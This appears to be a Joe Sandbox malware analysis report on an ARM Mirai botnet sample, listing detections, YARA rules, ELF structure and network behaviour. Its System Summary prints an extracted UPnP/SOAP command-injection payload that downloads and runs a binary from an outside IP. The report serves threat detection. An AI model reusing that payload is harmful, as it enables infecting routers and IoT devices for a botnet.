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Linux Analysis Report
6Sn3nPe88V.elf

Overview

General Information

Sample name:	6Sn3nPe88V.elf renamed because original name is a hash value
Original sample name:	2536bdc50fb2b2be2bdadc35a9091339.elf
Analysis ID:	1436486
MD5:	2536bdc50fb2b2be2bdadc35a9091339
SHA1:	02b44e0e9c6d19fe8a5122aabe774a8ba40f7cb0
SHA256:	7c25db56b95cea78657df6e32c8878999b243b8c6bf3ff91089e65df85d9b89d
Tags:	32armelfmirai
Infos:

Detection

Mirai

Score:	80
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Mirai

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

Non-zero exit code suggests an error during the execution. Lookup the error code for hints.

Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1436486
Start date and time:	2024-05-05 16:02:11 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 41s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	6Sn3nPe88V.elf renamed because original name is a hash value
Original Sample Name:	2536bdc50fb2b2be2bdadc35a9091339.elf
Detection:	MAL
Classification:	mal80.troj.linELF@0/0@2/0
Cookbook Comments:	Analysis time extended to 480s due to sleep detection in submitted sample

Warnings

Max analysis timeout: 600s exceeded, the analysis took too long

Runtime Messages

Command:	/tmp/6Sn3nPe88V.elf
PID:	5598
Exit Code:	255
Exit Code Info:
Killed:	False
Standard Output:
Standard Error:	/lib/ld-uClibc.so.0: No such file or directory

Process Tree

system is lnxubuntu20

6Sn3nPe88V.elf (PID: 5598, Parent: 5516, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/6Sn3nPe88V.elf

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
6Sn3nPe88V.elf	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
6Sn3nPe88V.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6Sn3nPe88V.elf	Linux_Trojan_Mirai_0bce98a2	unknown	unknown	0x9c34:$a: 4B 52 41 00 46 47 44 43 57 4E 56 00 48 57 43 4C 56 47 41 4A
6Sn3nPe88V.elf	Mirai_Botnet_Malware	Detects Mirai Botnet Malware	Florian Roth	0x9bd8:$x2: /dev/misc/watchdog 0x9bc8:$x3: /dev/watchdog 0x9c40:$s5: HWCLVGAJ

Memory Dumps

Source	Rule	Description	Author	Strings
5598.1.00007f9c0c017000.00007f9c0c021000.r-x.sdmp	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
5598.1.00007f9c0c017000.00007f9c0c021000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5598.1.00007f9c0c017000.00007f9c0c021000.r-x.sdmp	Linux_Trojan_Mirai_0bce98a2	unknown	unknown	0x9c34:$a: 4B 52 41 00 46 47 44 43 57 4E 56 00 48 57 43 4C 56 47 41 4A
5598.1.00007f9c0c017000.00007f9c0c021000.r-x.sdmp	Mirai_Botnet_Malware	Detects Mirai Botnet Malware	Florian Roth	0x9bd8:$x2: /dev/misc/watchdog 0x9bc8:$x3: /dev/watchdog 0x9c40:$s5: HWCLVGAJ
Process Memory Space: 6Sn3nPe88V.elf PID: 5598	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 6Sn3nPe88V.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: 6Sn3nPe88V.elf	ReversingLabs: Detection: 57%
Source: 6Sn3nPe88V.elf	Virustotal: Detection: 46%			Perma Link

Source: global traffic

DNS traffic detected: DNS query: daisy.ubuntu.com

Source: 6Sn3nPe88V.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: 6Sn3nPe88V.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

System Summary

Malicious sample detected (through community Yara rule)

Source: 6Sn3nPe88V.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_0bce98a2 Author: unknown
Source: 6Sn3nPe88V.elf, type: SAMPLE	Matched rule: Detects Mirai Botnet Malware Author: Florian Roth
Source: 5598.1.00007f9c0c017000.00007f9c0c021000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0bce98a2 Author: unknown
Source: 5598.1.00007f9c0c017000.00007f9c0c021000.r-x.sdmp, type: MEMORY	Matched rule: Detects Mirai Botnet Malware Author: Florian Roth

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.233.193.12 -l /tmp/.oxy -r /yeye/yeye.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.233.193.12 -l /tmp/.oxy -r /yeye/yeye.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

Source: ELF static info symbol of initial sample

.symtab present: no

Source: 6Sn3nPe88V.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_0bce98a2 reference_sample = 1b20df8df7f84ad29d81ccbe276f49a6488c2214077b13da858656c027531c80, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 993d0d2e24152d0fb72cc5d5add395bed26671c3935f73386341398b91cb0e6e, id = 0bce98a2-113e-41e1-95c9-9e1852b26142, last_modified = 2021-09-16
Source: 6Sn3nPe88V.elf, type: SAMPLE	Matched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b
Source: 5598.1.00007f9c0c017000.00007f9c0c021000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0bce98a2 reference_sample = 1b20df8df7f84ad29d81ccbe276f49a6488c2214077b13da858656c027531c80, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 993d0d2e24152d0fb72cc5d5add395bed26671c3935f73386341398b91cb0e6e, id = 0bce98a2-113e-41e1-95c9-9e1852b26142, last_modified = 2021-09-16
Source: 5598.1.00007f9c0c017000.00007f9c0c021000.r-x.sdmp, type: MEMORY	Matched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b

Source: classification engine

Classification label: mal80.troj.linELF@0/0@2/0

Source: /tmp/6Sn3nPe88V.elf (PID: 5598)

Queries kernel information via 'uname':

Jump to behavior

Source: 6Sn3nPe88V.elf, 5598.1.000055ea64b7f000.000055ea64cad000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: 6Sn3nPe88V.elf, 5598.1.00007fff94379000.00007fff9439a000.rw-.sdmp	Binary or memory string: qemu: %s: %s
Source: 6Sn3nPe88V.elf, 5598.1.00007fff94379000.00007fff9439a000.rw-.sdmp	Binary or memory string: leqemu: %s: %s
Source: 6Sn3nPe88V.elf, 5598.1.00007fff94379000.00007fff9439a000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/6Sn3nPe88V.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/6Sn3nPe88V.elf
Source: 6Sn3nPe88V.elf, 5598.1.000055ea64b7f000.000055ea64cad000.rw-.sdmp	Binary or memory string: Urg.qemu.gdb.arm.sys.regs">
Source: 6Sn3nPe88V.elf, 5598.1.000055ea64b7f000.000055ea64cad000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: 6Sn3nPe88V.elf, 5598.1.00007fff94379000.00007fff9439a000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: 6Sn3nPe88V.elf, 5598.1.000055ea64b7f000.000055ea64cad000.rw-.sdmp	Binary or memory string: rg.qemu.gdb.arm.sys.regs">

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: 6Sn3nPe88V.elf, type: SAMPLE
Source: Yara match	File source: 5598.1.00007f9c0c017000.00007f9c0c021000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 6Sn3nPe88V.elf PID: 5598, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: 6Sn3nPe88V.elf, type: SAMPLE
Source: Yara match	File source: 5598.1.00007f9c0c017000.00007f9c0c021000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 6Sn3nPe88V.elf PID: 5598, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Application Layer Protocol	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
6Sn3nPe88V.elf	58%	ReversingLabs	Linux.Trojan.Mirai
6Sn3nPe88V.elf	46%	Virustotal		Browse
6Sn3nPe88V.elf	100%	Avira	EXP/ELF.Gafgyt.X

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.25	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	6Sn3nPe88V.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	6Sn3nPe88V.elf	false		high

World Map of Contacted IPs

⊘No contacted IP infos

Joe Sandbox View / Context

IPs

⊘No context

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	67sw1QD6Ew.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	W7Y72RmV7b.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	Aqua.x86.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	5Yj6rO0YeI.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	gUTS4585C9.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	Z4wp78yHpp.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	LXtr28FcSb.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	X4D2VjX0iU.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	wQT6LP2bum.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	tORPHVoIES.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.24

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
Entropy (8bit):	6.046510764534018
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	6Sn3nPe88V.elf
File size:	42'368 bytes
MD5:	2536bdc50fb2b2be2bdadc35a9091339
SHA1:	02b44e0e9c6d19fe8a5122aabe774a8ba40f7cb0
SHA256:	7c25db56b95cea78657df6e32c8878999b243b8c6bf3ff91089e65df85d9b89d
SHA512:	c1e8eb54810e13fa7d91809876f41fbe3a1b917eaad7f6d6a168e26ae87ac469e0bab0375cc0d7921aed3a30909b60304bc54785dec1e0c4d4864ac5c48c8e84
SSDEEP:	768:qEtDtIlgGcX6iWi4c9QgYZCmvT7E+YVy4n8wVSY35F3P/L1:5hCe6i/LQqMNYVbpVSI5F3r1
TLSH:	4A130A95BCC28B6AC6E053BBBA6E41CD336163A8C1CF3213CC115F147B8A61F5E67A51
File Content Preview:	.ELF...a..........(.........4...........4. ...(.........4...4...4...................................................................0...0...............................L...........................................Q.td............................/lib/ld-uCl

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	ARM - ABI
ABI Version:	0
Entry Point Address:	0x8cfc
Flags:	0x202
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	6
Section Header Offset:	41608
Section Header Size:	40
Number of Section Headers:	19
Header String Table Index:	18

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Info	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0	0
.interp	PROGBITS	0x80f4	0xf4	0x14	0x0	0x2	A	0	0	1
.hash	HASH	0x8108	0x108	0x190	0x4	0x2	A	3	0	4
.dynsym	DYNSYM	0x8298	0x298	0x3d0	0x10	0x2	A	4	1	4
.dynstr	STRTAB	0x8668	0x668	0x1cc	0x0	0x2	A	0	0	1
.rel.plt	REL	0x8834	0x834	0x198	0x8	0x2	A	3	7	4
.init	PROGBITS	0x89cc	0x9cc	0x18	0x0	0x6	AX	0	0	4
.plt	PROGBITS	0x89e4	0x9e4	0x278	0x4	0x6	AX	0	0	4
.text	PROGBITS	0x8c5c	0xc5c	0x8c1c	0x0	0x6	AX	0	0	4
.fini	PROGBITS	0x11878	0x9878	0x14	0x0	0x6	AX	0	0	4
.rodata	PROGBITS	0x1188c	0x988c	0x5a4	0x0	0x2	A	0	0	4
.ctors	PROGBITS	0x1a004	0xa004	0x8	0x0	0x3	WA	0	0	4
.dtors	PROGBITS	0x1a00c	0xa00c	0x8	0x0	0x3	WA	0	0	4
.dynamic	DYNAMIC	0x1a018	0xa018	0x98	0x8	0x3	WA	4	0	4
.got	PROGBITS	0x1a0b0	0xa0b0	0xd8	0x4	0x3	WA	0	0	4
.data	PROGBITS	0x1a188	0xa188	0x6c	0x0	0x3	WA	0	0	4
.bss	NOBITS	0x1a1f4	0xa1f4	0x15c	0x0	0x3	WA	0	0	4
.ARM.attributes	ARM_ATTRIBUTES	0x0	0xa1f4	0x10	0x0	0x0		0	0	1
.shstrtab	STRTAB	0x0	0xa204	0x83	0x0	0x0		0	0	1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Prog Interpreter	Section Mappings
PHDR	0x34	0x8034	0x8034	0xc0	0xc0	2.0565	0x5	R E	0x4
INTERP	0xf4	0x80f4	0x80f4	0x14	0x14	3.6842	0x4	R	0x1	/lib/ld-uClibc.so.0	.interp
LOAD	0x0	0x8000	0x8000	0x9e30	0x9e30	6.1235	0x5	R E	0x8000		.interp .hash .dynsym .dynstr .rel.plt .init .plt .text .fini .rodata
LOAD	0xa004	0x1a004	0x1a004	0x1f0	0x34c	3.3596	0x6	RW	0x8000		.ctors .dtors .dynamic .got .data .bss
DYNAMIC	0x0	0x0	0x1a018	0x0	0x0	0.0000	0x6	RW	0x4
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Dynamic Tags

Type	Meta	Value	Tag
DT_NEEDED	sharedlib	libc.so.0	0x1
DT_INIT	value	0x89cc	0xc
DT_FINI	value	0x11878	0xd
DT_HASH	value	0x8108	0x4
DT_STRTAB	value	0x8668	0x5
DT_SYMTAB	value	0x8298	0x6
DT_STRSZ	bytes	460	0xa
DT_SYMENT	bytes	16	0xb
DT_DEBUG	value	0x0	0x15
DT_PLTGOT	value	0x1a0b0	0x3
DT_PLTRELSZ	bytes	408	0x2
DT_PLTREL	pltrel	DT_REL	0x14
DT_JMPREL	value	0x8834	0x17
DT_NULL	value	0x0	0x0

Symbols

Name	Section Name	Value	Size	Symbol Type	Symbol Bind	Symbol Visibility	Ndx
	.dynsym	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__bss_end__	.dynsym	0x1a350	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__bss_start	.dynsym	0x1a1f4	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__bss_start__	.dynsym	0x1a1f4	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__data_start	.dynsym	0x1a188	0	NOTYPE	<unknown>	DEFAULT	17
__end__	.dynsym	0x1a350	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__errno_location	.dynsym	0x8bd8	28	FUNC	<unknown>	DEFAULT	SHN_UNDEF
__uClibc_main	.dynsym	0x8b84	580	FUNC	<unknown>	DEFAULT	SHN_UNDEF
_bss_end__	.dynsym	0x1a350	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_edata	.dynsym	0x1a1f4	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_end	.dynsym	0x1a350	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_start	.dynsym	0x8cfc	80	FUNC	<unknown>	DEFAULT	8
abort	.dynsym	0x8ac4	280	FUNC	<unknown>	DEFAULT	SHN_UNDEF
accept	.dynsym	0x8ad0	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
bind	.dynsym	0x8b00	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
calloc	.dynsym	0x8adc	292	FUNC	<unknown>	DEFAULT	SHN_UNDEF
chdir	.dynsym	0x8b18	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
clock	.dynsym	0x8bfc	48	FUNC	<unknown>	DEFAULT	SHN_UNDEF
close	.dynsym	0x8c2c	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
closedir	.dynsym	0x8c14	228	FUNC	<unknown>	DEFAULT	SHN_UNDEF
connect	.dynsym	0x8a10	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
exit	.dynsym	0x8be4	184	FUNC	<unknown>	DEFAULT	SHN_UNDEF
fcntl	.dynsym	0x8c20	100	FUNC	<unknown>	DEFAULT	SHN_UNDEF
fork	.dynsym	0x8b78	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
free	.dynsym	0x8c38	552	FUNC	<unknown>	DEFAULT	SHN_UNDEF
getpid	.dynsym	0x8a34	8	FUNC	<unknown>	DEFAULT	SHN_UNDEF
getppid	.dynsym	0x8ba8	8	FUNC	<unknown>	DEFAULT	SHN_UNDEF
getsockname	.dynsym	0x8c50	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
getsockopt	.dynsym	0x8bcc	48	FUNC	<unknown>	DEFAULT	SHN_UNDEF
inet_addr	.dynsym	0x8b0c	36	FUNC	<unknown>	DEFAULT	SHN_UNDEF
ioctl	.dynsym	0x89f8	80	FUNC	<unknown>	DEFAULT	SHN_UNDEF
kill	.dynsym	0x8af4	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
listen	.dynsym	0x8b6c	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
malloc	.dynsym	0x8a64	2320	FUNC	<unknown>	DEFAULT	SHN_UNDEF
memcpy	.dynsym	0x8a4c	4	FUNC	<unknown>	DEFAULT	SHN_UNDEF
memmove	.dynsym	0x8a28	4	FUNC	<unknown>	DEFAULT	SHN_UNDEF
memset	.dynsym	0x8b90	156	FUNC	<unknown>	DEFAULT	SHN_UNDEF
open	.dynsym	0x8bf0	92	FUNC	<unknown>	DEFAULT	SHN_UNDEF
opendir	.dynsym	0x8bc0	156	FUNC	<unknown>	DEFAULT	SHN_UNDEF
prctl	.dynsym	0x8a40	48	FUNC	<unknown>	DEFAULT	SHN_UNDEF
rand	.dynsym	0x8b30	4	FUNC	<unknown>	DEFAULT	SHN_UNDEF
read	.dynsym	0x8b48	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
readdir	.dynsym	0x8aa0	224	FUNC	<unknown>	DEFAULT	SHN_UNDEF
readlink	.dynsym	0x8a58	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
realloc	.dynsym	0x8b60	932	FUNC	<unknown>	DEFAULT	SHN_UNDEF
recv	.dynsym	0x8a04	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
recvfrom	.dynsym	0x8a7c	52	FUNC	<unknown>	DEFAULT	SHN_UNDEF
select	.dynsym	0x8a94	48	FUNC	<unknown>	DEFAULT	SHN_UNDEF
send	.dynsym	0x8ab8	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
sendto	.dynsym	0x8b54	52	FUNC	<unknown>	DEFAULT	SHN_UNDEF
setsid	.dynsym	0x8c08	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
setsockopt	.dynsym	0x8b24	48	FUNC	<unknown>	DEFAULT	SHN_UNDEF
sigaddset	.dynsym	0x8aac	48	FUNC	<unknown>	DEFAULT	SHN_UNDEF
sigemptyset	.dynsym	0x8a1c	20	FUNC	<unknown>	DEFAULT	SHN_UNDEF
signal	.dynsym	0x8b3c	180	FUNC	<unknown>	DEFAULT	SHN_UNDEF
sigprocmask	.dynsym	0x8c44	48	FUNC	<unknown>	DEFAULT	SHN_UNDEF
sleep	.dynsym	0x8a70	168	FUNC	<unknown>	DEFAULT	SHN_UNDEF
socket	.dynsym	0x8a88	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
srand	.dynsym	0x8b9c	148	FUNC	<unknown>	DEFAULT	SHN_UNDEF
time	.dynsym	0x8bb4	8	FUNC	<unknown>	DEFAULT	SHN_UNDEF
write	.dynsym	0x8ae8	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 5, 2024 16:05:55.882874012 CEST	45160	53	192.168.2.14	8.8.8.8
May 5, 2024 16:05:55.980181932 CEST	53	45160	8.8.8.8	192.168.2.14
May 5, 2024 16:05:55.980243921 CEST	45160	53	192.168.2.14	8.8.8.8
May 5, 2024 16:05:55.980281115 CEST	53	45160	8.8.8.8	192.168.2.14
May 5, 2024 16:05:55.980281115 CEST	45160	53	192.168.2.14	8.8.8.8
May 5, 2024 16:05:55.980324984 CEST	45160	53	192.168.2.14	8.8.8.8
May 5, 2024 16:05:56.077483892 CEST	53	45160	8.8.8.8	192.168.2.14
May 5, 2024 16:05:56.077558041 CEST	53	45160	8.8.8.8	192.168.2.14
May 5, 2024 16:05:56.077591896 CEST	45160	53	192.168.2.14	8.8.8.8
May 5, 2024 16:05:58.078088045 CEST	53	45160	8.8.8.8	192.168.2.14
May 5, 2024 16:05:58.078278065 CEST	45160	53	192.168.2.14	8.8.8.8
May 5, 2024 16:05:58.175590992 CEST	53	45160	8.8.8.8	192.168.2.14

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 5, 2024 16:05:55.882874012 CEST	192.168.2.14	8.8.8.8	0x439	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
May 5, 2024 16:05:55.980281115 CEST	192.168.2.14	8.8.8.8	0xa736	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 5, 2024 16:05:55.980281115 CEST	8.8.8.8	192.168.2.14	0x439	No error (0)	daisy.ubuntu.com		162.213.35.25	A (IP address)	IN (0x0001)	false
May 5, 2024 16:05:55.980281115 CEST	8.8.8.8	192.168.2.14	0x439	No error (0)	daisy.ubuntu.com		162.213.35.24	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: 6Sn3nPe88V.elf PID: 5598, Parent PID: 5516

General

Start time (UTC):	14:03:08
Start date (UTC):	05/05/2024
Path:	/tmp/6Sn3nPe88V.elf
Arguments:	/tmp/6Sn3nPe88V.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
